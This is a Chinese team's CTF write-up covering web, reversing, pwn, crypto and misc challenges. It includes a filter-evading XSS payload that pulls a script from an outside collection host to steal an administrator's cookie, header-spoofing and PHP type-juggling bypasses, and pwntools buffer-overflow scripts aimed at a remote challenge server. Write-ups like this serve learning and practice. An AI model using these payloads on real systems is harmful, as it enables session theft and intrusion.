[强网杯青少年专项赛] 惨惨战队WriteUp

能受天磨真铁汉,不遭人嫉是庸才

Web

easy_php

简单题,PHP黑魔法梭哈

第一层 a1 a2 弱类型绕过

第二层 b1 b2 数组绕过

第三层 time 科学计数法绕过

/?a1=240610708&a2=QNKCDZO&b1[]=1&b2[]=2&time=8e88

 签到

打开后是kali的命令界面,一直回车得到flag

easy_http

先是以Get方式给fruit传值apple:

然后再以Post方式给vegetable传值potapo:

之后要求本地访问,直接利用X-Forwarded-For头绕过:

最后要求身份证明这个也是非常脑洞的题目,secret其实是个迷雾,直接把Http_1s_W0nd3rful关键字添加到U-A头即可绕过最终数据包如下

POST /?fruit=apple HTTP/1.1
Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Http_1s_W0nd3rful
X-Forwarded-For:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

vegetable=potato

XSS

打开题目可以看到导航栏有三个地址,第一个是成绩查询的界面,输入姓名可以查询到成绩

第二个是反馈页面可以提交站点的链接,管理员会自动打开查看,此处也就是XSS点。

最后一个界面是Admin,打开是后台,应该是打到管理员cookie后伪造登录。

这题考察的肯定是xss内容,直接测试成绩查询页面是否存在xss

在成绩查询的输入口通过fuzz发现过滤了script

利用双写加上大小写混淆就可以绕过,构造Payload如下:

<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>

得到反射型XSS Payload URL如下:

http://eci-2ze8iaai2nr5l4ky7twq.cloudeci1.ichunqiu.com:8888/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

访问后打到了自己的cookie信息,证明反射型xss是正常执行

解题思路如下

  • 成绩查询页面构造反射型xss
  • 反馈界面将xss的地址提交,管理员会自动打开该地址
  • 成功打到cookie后修改cookie进入后台,然后获取flag

在反馈界面提交xss地址

这里有个坑,通过题目提示可以知道“/”就代表了host,所以不需要加前面的host,构造Payload如下

/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21

打到管理员cookie

修改cookie后访问Admin页面得到flag

Re

VM算法分析

重要的处理部分是动态写进入的 我们也用IDA动态跟进去 F5反汇编

int __cdecl sub_20000(int a1, int a2)
{
  int result; // eax
  int i; // [esp+50h] [ebp-64h]
  int v4; // [esp+54h] [ebp-60h]
  int v5; // [esp+58h] [ebp-5Ch]
  int v6; // [esp+5Ch] [ebp-58h]
  int v7; // [esp+60h] [ebp-54h]
  int v8[20]; // [esp+64h] [ebp-50h]


  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  while ( 2 )
  {
    switch ( *(unsigned __int8 *)(v7 + a2) )
    {
      case 0xF0u:
        v8[v6++] = *(unsigned __int8 *)(v5 + a1);
        ++v7;
        continue;
      case 0xF1u:
        *(_BYTE *)(v5 + a1 - 1) = v8[--v6];
        ++v7;
        continue;
      case 0xF2u:
        v4 = v8[--v6];
        ++v7;
        continue;
      case 0xF3u:
        v4 += *(unsigned __int8 *)(v7 + a2 + 1);
        v7 += 2;
        continue;
      case 0xF4u:
        *(&v7 + v6) ^= v4;
        ++v7;
        continue;
      case 0xF5u:
        ++v5;
        ++v7;
        continue;
      case 0xF6u:
        if ( *(&v7 + v6) && *(&v7 + v6) != 10 )
          ++v7;
        else
          v7 += 3;
        continue;
      case 0xF7u:
        for ( i = 0; *(_BYTE *)(i + a1); ++i )
          ;
        result = v5;
        if ( v5 != i )
        {
          v7 = 0;
          continue;
        }
        return result;
      default:
        continue;
    }
  }
}

看着很复杂 把a2提出来是 [F0h,0F2h,0F3h,1,0F5h,0F0h,0F6h,0F4h,0F1h,0F7h]

按着流程走 执行代码 a1[i] = ( a[i] + 1 ) ^ a[i+1]

把最后的对照数据str2提取出来 逆向一下得到flag:

f = open('a.in')
s = f.readline()
i = 0
n = []
while i < len(s):
    n.append(int(s[i:i+2],16))
    print int(s[i:i+2],16)
    i = i + 3


for i in range(len(n)-1-1,-1,-1):
    n[i] = (n[i] ^ n[i+1] )-1
flag = ''
for i in range(len(n)):
    flag += chr(n[i])
print flag

Pwn

加减乘除

首先需要满足 12次以内 让其数值达到66 然后就是dword_40A0的值要非零 因为bss区域初始化是0 所以要修改 。发现驶入name也在bss且可以覆盖 这里的条件解决

12次到达66 直接写脚本跑一跑就出来了:

def dfs(n,dep,step):
    if flag:
        return
    if n == 66:
        print step
        exit(0)
    if dep == 12:
        return
    if n > 66:
        return
    dfs(3,dep+1,step+'a')
    dfs(n+4,dep+1,step+'b')
    dfs(n*7,dep+1,step+'c')
    dfs(n//5,dep+1,step+'d')
dfs(0,0,'')

因为自己的send和sendline都没有打通 干脆后面的处理就手动了

from pwn import *
# io = process('./pwn')
io = remote('182.92.184.215',12345)
name = 'A' * (0x409F - 0x4060 + 1) + p32(1)
io.sendlineafter('start:',name)
success('lxy')
'''
payload = 'abbdbcbbbbbb'
for i in range(len(payload)):
    io.sendafter('> ',payload[i])
    sleep(0.1)
'''
io.interactive()

URL

有后门函数,只需要覆盖返回地址即可

0x40 + 0x40 + 0x50 不够覆盖,但了解到strcat到性质 遇到''停止,所以可以构造一连串不带终止符到payload

最开始用的是 0x40 + 0x39 + 0x4c + 'x99x12x40' 还是没法覆盖到ret_addr

突然又忘记Input限制 第二部分没有按照0x40以内到字符要求 竟然打通了。。

from pwn import*
#io = process('./pwn')
io = remote('182.92.184.215',34521)
elf = ELF('./pwn')
def lauch_gdb(io):
    context.log_level = 'debug'
    gdb.attach(io)
#lauch_gdb(p)
io.sendlineafter("(protocol):",'A'*0x39+'')
io.sendlineafter("(domain):",'A'*0x45)
io.sendlineafter("(path):",'A'*0x44+p64(0x401299))
io.interactive()

Crypto

easy_Crypto

先在线解密一下http://www.metools.info/code/c90.html

加上符号就是 fpyitlyth__nsiaropiosengcgasstrg{r_e}

根据提示信息 是一个栅栏加密 通过给的文本解密克可知每组数字为5

跑了一下普通栅栏发现不对 跑W栅栏就出flag了

flag{cryptography_is_so_insteresting

base64

给了原文本和加密文本 还有加密的flag 很可能是修改过table

先让原文本正常加密,对应搞出替换后的table,这里因为字典不足,替换后的table部分缺失,先跑一下发现只有一处乱码

替换后的table:LM#OPQRSTuvwxyz#VWXYZabcdefghi##lA#CDEFGHIJKmnopqrst012345#
乱码的flag : flag{Mase64d1sdS0dF4nta5ticx91

细心观察发现 flag的加密文本中只有字符 k 在替换后的table里面没有对应

于是爆破一下k的位置 跑出flag

import base64 
table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table2 = []
for i in range(64):
    table2.append('#')
a = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm'
en1 = 'c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5t'
en2 = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5n'

for i in range(len(en1)):
    for j in range(64):
        if table1[j] == en1[i]:
            table2[j] = en2[i]
            break
s = 'eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV=='
#flag{Mase64_1s_S0_F4nta5tic}
pl = []
for i in range(64):
    if table2[i] == '#':
        pl.append(i)
for i in range(len(pl)):
    #table2[pl[i]] = 'k'
    table = ''
    for j in range(64):
        table += table2[j]
    print(table)
    print (base64.b64decode(s.translate(str.maketrans(table,table1))))
    table2[pl[i]] = '#'

这里得到的flag里面的单词为 Mase 改成 Base 就是正确flag

简单算法

签到题后发系列

flag = ''
a = [49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85]
for i in range(len(a)):
    flag += chr((a[i] - i - 1) ^ 86)
print flag

easy_feistel

没什么好写的 就是一个纯逆向过程 有点绕 多调试改一改就出来了嘤嘤嘤

import base64
def F(M,K):
    M1 = []
    for i in range(16):
        tmp = ord(M[i])
        M1.append(chr((tmp >> 4) ^ tmp))
    K = list(K)
    for i in range(16):
        M1[i] = chr(ord(K[i]) ^ ord(M1[i]))
    M = list(M)
    Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5]
    for i in range(16):
        M[Pe[i]] = M1[i]
    return  "".join(M)
def round(M,K):
    newL = M[0:16]
    newR = M[16:32]
    L = F(newR,K)
    R = []
    for i in range(16):
        R.append(chr(ord(L[i])^ord(newL[i])))
    return "".join(L) + "".join(R)
f = open('outfei2.txt')
K = []
for i in range(10):
    K.append(base64.b64decode(f.readline()[:-1]))
M = base64.b64decode(f.readline()[:])
for i in range(9,-1,-1):
    print i
    M = round(M,K[i])
print M
f.close()
# flag{4b5b6e66-0fcc-405a-97ca-0}

moss

直接放网页解密https://tool.lu/ja_JP/morse/

有提示小写 加上{}构成flag flag{mossisveryf4nty}

Misc

一切皆可视

下载题目xml文件后,用编辑器打开发现snap!的官网: https://snap.berkeley.edu

官网提供了在线IDE:https://snap.berkeley.edu/snap/snap.html

打开IDE直接导入题目xml文件,可以看到重点在于解出开锁的key

从源码可以看出来是异或加密,

根据前面sercet的值,直接写脚本跑出key

a = [92, 0, 74, 66, 116, 77, 126 ,69 ,17, 17, 102, 126 ,69 ,79 ,97 ,126, 18 ,76 ,17 ,98 ,16 ,77 ,18 ,86,90,70,64,77,71]
flag = ''
for i in range(len(a)):
    a[i] ^= 33
    flag += chr(a[i])
print flag[::-1]

Luo_Tianyi

有点脑洞的图片隐写,研究了好久= =脑洞是真的有点大

steghide提取文件,根据题目名称猜测秘钥是luotianyi

提取出flag.txt,得到Flag:

easy_pcap

根据题目题干信息可以使用wireshark进行流量分析,打开数据包pcap格式数据包后发现很多的http协议,先过滤出HTTP协议类型的请求:

通过分析发现是一句话后门的流量监控文件,发现一php文件名疑似是base编码

base64解码,url解码得到flag

git的谜底

写字板打开,我不知道怎么想到的 可能是因为才装的的虚拟机没有vscode

misc_made_up

从题目的图片中用binwalk分离出来一个zip文件,密码123456(弱口令猜出来的= =)

得到压缩包中的txt文档,发现里面有Tab和空格构成的内容,猜测是snow隐写,但是一直没有找到密钥,在这里卡了一晚上。

根据hint给的java盲水印,然后在github上找到一个项目https://github.com/ww23/BlindWatermark

用这个项目解出盲水印,得到密钥:

snow隐写,密钥为PasS@wo_rd_here

http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:

原文地址:https://www.cnblogs.com/yesec/p/13656396.html